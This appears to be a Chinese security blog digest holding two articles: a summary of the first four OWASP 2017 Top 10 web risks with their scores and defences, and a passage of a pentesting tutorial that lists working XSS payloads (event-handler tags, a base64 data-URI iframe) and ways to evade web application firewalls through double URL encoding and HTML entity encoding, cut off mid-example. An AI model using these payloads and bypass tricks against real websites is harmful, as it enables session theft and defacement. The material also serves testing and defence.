搜索此博客

2017年12月30日星期六

2017 OWASP十大关键Web应用安全风险简析

本邮件内容由第三方提供,如果您不想继续收到该邮件,可 点此退订
2017 OWASP十大关键Web应用安全风险简析  阅读原文»

前不久,安全牛报道了2017 OWASP的十大安全问题最终版,下面这篇文章则对十大安全风险做了简单分析。

2017 OWASP十大关键Web应用安全风险简析

受越来越短的软件项目生命周期影响,有些应用面临损及金融、医疗、零售业和其他行业数字安全的风险。开发人员和经理必须了解这些最常见的风险,才能保护自己的应用。为此,开放网页应用安全计划(OWASP)定期发布十大最关键Web应用安全风险。

该计划从专精应用安全的公司企业收集40多份数据,数据涵盖数百家公司处收集的漏洞信息,涉及10万个应用和API。

OWASP根据可利用性普遍性可检测性技术影响程度,给每种风险打分。这些风险是随时在变的。

比如说,来自社区的500个同行提交,就在2017年往OWASP榜单的前瞻风险类列表中加入了2个新成员。该组织还从源代码分析安全测试(SAST)数据集中加入了一个新门类。

另外的变化也不是没有。

2013年,两种老旧风险掉出OWASP"十大"榜单――不安全直接对象引用和缺乏函数级访问控制,这两个门类合并成了2017年榜单上的"失效的访问控制"

另外,基于现代应用中的流行程度,OWASP将跨站请求伪造(CSRF)和非法链接跳转给踢出了十大。

OWASP 2017 十大关键Web应用安全风险如下:

1. 注入

可利用性:3 – 容易

漏洞普遍性:2 – 常见

漏洞可检测性:3 – 容易

技术影响:3 – 严重

注入包括SQL注入、OS注入、LDAP)轻量级目录访问协议)注入等,可致解释器将非受信数据作为查询或指令的一部分加以接收。攻击者可利用注入来诱骗解释器执行恶意代码,或赋予他们本不应有的敏感数据访问权。

开发人员和经理只要经常进行安全代码审查,就可有效避免应用被注入。在持续集成和持续交付(CI/CD)管道中引入SAST和动态应用测试(DAST),是做到这一点的好办法。

2. 失效的身份验证

可利用性:3 – 容易

漏洞普遍性:2 – 常见

漏洞可检测性:2 – 一般

技术影响:3 – 严重

应用的身份验证和会话管理功能,未必能正确实现。一旦验证和会话管理功能失效,攻击者可盗取口令、密钥或会话凭证。利用漏洞冒充已验证用户,也是攻击者惯用手法之一。

多因子身份验证是抵御验证失效的最佳办法,因为该方法可预防被盗凭证重用攻击之类的事件。开发人员和经理不应在应用中留有管理员凭证。检查弱口令并限制登录失败次数的功能,则应加入到应用中。

3. 敏感数据暴露

可利用性:2 – 一般

漏洞普遍性:3 – 普遍

漏洞可检测性:2 – 一般

技术影响:3 – 严重

有些应用和API未引入恰当的敏感信息防护功能,金融数据或登录凭证之类的敏感数据未得到应有的保护。数字攻击者可利用程序中的缺陷,盗取并滥用该敏感信息,进行身份盗窃或信用卡诈骗活动。

只要开发人员和经理确定不了数据防护需求――无论是传输过程中还是存储介质上的数据,敏感数据暴露的威胁就不能被缓解。他们应先确定哪些数据是敏感的,然后用健壮的最新算法加密保护之。同时,不应存储非必要的敏感信息,不必要的敏感信息就应该安全地销毁掉。

4. XML外部实体(XXE)

可利用性:2 – 一般

漏洞普遍性:2 – 常见

漏洞可检测性:3 – 容易

技术影响:3 – 严重

可扩展标记语言(XML),是指定文档编码准则的一种标记语言,其处理器负责解析XML文档并采取相应的操作。有些XML处理器设计粗劣或配置不当,可能对XML文档中的外部实体引用进行求值操作。攻击者就能利用这些实体来暴露内部文件,进行内部端口扫描,实现远程代码执行。

开发人员和经理可通过序列化敏感数据,使用JSON之类简单数据格式的方法,来缓解XXE威胁。他们还应确保修复升级应用中的所有XML处理器,在所有相关XML解析器中禁用XML外部实体处理功能。

挖洞经验 | 可以被XSS利用的HTML标签和一些手段技巧  阅读原文»

XSS让我们在渗透中有无限的可能,只要你发挥你的想象。  引用一位前辈总结的很贴切的一句话――"XSS使整个WEB体系变得具有灵性" 。

网上关于XSS的教程数不胜数,转载来转载去的,就是那么些Payload,可能看的人晕晕的不知所以然。而且还有很多Payload就算把其中的HTML代码闭合后写在自己的前端中,都不一定触发,因为很多老的标签和事件都已经被W3C给废弃了。本文首先给大家总结一下目前通用可以拿来构造XSS的HTML标签和一些标签事件,然后再给大家讲述一些绕过的技巧,教你在么构造出属于你自己渗透时真正需要的Exp。

可以成功执行的标签

<a href="javascript:confirm('a')" >1</a >

a标签 当点击时才会触发  

<img src=# onclick=javascript:alert(‘img:onclick’) onerror=javascript:alert(‘img:onerror’) onload=javascript:alert(‘img:onload’)>

<!–src加伪协议js代码不能触发–>

<video src=# onclick=javascript:alert(‘video:onclick’) onerror=javascript:alert(‘video:onerror’) onload=javascript:alert(‘video:onload’)></video>

<audio src=# onclick=javascript:alert(‘audio:onclick’) onerror=javascript:alert(‘audio:onerror’) onload=javascript:alert(‘audio:onload’)></audio>

<!--这些标签中src加伪协议js代码不能触发,IE8以前的时候可以-->

img、video、audio标签   onclick:点击触发   onerror:当src加载不出来时触发   onload:当src加载完毕触发

<iframe src=    "javascript:alert('iframe')" width    = "0" height        = "0"/>

iframe标签,写入后网页加载自动执行

<form action= "Javascript:alert('from_action0')">    <input type= "submit" formaction=" JaVaScript:alert('from_action2')">    <input type= "image" formaction=" JaVaScript:alert('from_action1')">    <input type ="text" onchange ="JaVaScript:alert('from_action3')"> 

在表单中一些标签,前三个都要点击事件触发,最后一个是得到改变内容时触发

<a onmouseover= "javascript:alert('a_onmouseover')">12</ a>    <svg onload=" javascript:alert('svg')"></svg >    <body onload= "javascript:alert('body')"></body>    <select autofocus onfocus="javascript:alert('select' )"></select>    <textarea autofocus onfocus="javascript:alert('textarea' )"></textarea>    <keygen autofocus onfocus="javascript:alert('keygen' )"></keygen>    <audio><source onerror="javascript:alert('source')"></ audio>

一些事件标签 要对应的事件发生可以触发 加上autofocus可以自动触发

目前整理出来在各个浏览器通用的就是这些 以后会持续更新 可以关注我的博客或者DX安全团队

一些绕过姿势

首先,有一些脚本小子可能还不知道什么是exp,所谓exp就是一个精心构造可以配合或者绕过WAF成功触发XSS的一段代码,网上那些一发就是一大段的Payload可能到你那里就不合适了,因为Exp是需要针对性构造的。

想要写出一个能触发的Exp,需要不停的探测输入于输出,推测WAF过滤规则,一般都会先输入” ‘ / # on < script > 等特殊字符,然后到输出点,查看是否可以正常输出,如果输入<>还正常输出了,那么有可能是被实体编码了,所以最好不要在网页中看或者审核元素看 应该右键查看源代码进行定位,这才是最好的办法,当然你也可以写一些小插件,都是很Nice的。对于<>被过滤实体编码的可以试试一些on事件,不行就看看下面的一些姿势吧!

百分再百分

看了标题是不是很疑惑,什么百分又百分,难道是百分百绕过?美滋滋?哈哈 我就是内标题党一次。

所谓百分再百分,就是把%给url编码成%25 如果在后台对参数有再次进行urldecode,或者输出时有urldecode那么就可以绕过WAF,所以各位在造轮子,千万小心画蛇添足

Base64编码绕过

有时候真的这么绕WAF不拦截你的<>”的时候,拦截script、还有触发事件如onxxxx的时候,不妨试试Base64编码来绕过

譬如<iframe src=”data:text/html;base64,PHNjcmlwdD5hbGVydCgnYmFzZTY0X2lmcmFtZScpPC9zY3JpcHQ+”>

把关键的XSS语句转化成base64来绕

HTML实体编码的利用绕过waf

记得以前一个案例,我用PHP按照记忆还原了一下 大概代码是这样的

<a href=” <?=$_GET['localurl']; ?>” ></a>   不过对输入的参数过滤的很严格 看到有on script “等等敏感词语就直接exit了 所以什么构造alealertrt(“X”)利用过滤什么都是无效的。这里就可以利用实体编码。实体编码明明是一种防止XSS的办法吗为什么会被拿来绕过WAF呢,很多朋友可能就有所疑惑。实体编码一开始是为了避免譬如在你的双引号中要输入数据中包括双引号导致浏览器把你输入的引号当作上一个引号的姐妹标签而异常闭合而提出的,当时依然可以构造XSS 如下语句是可以在各大浏览器执行的 

<a 阅读更多内容

没有评论: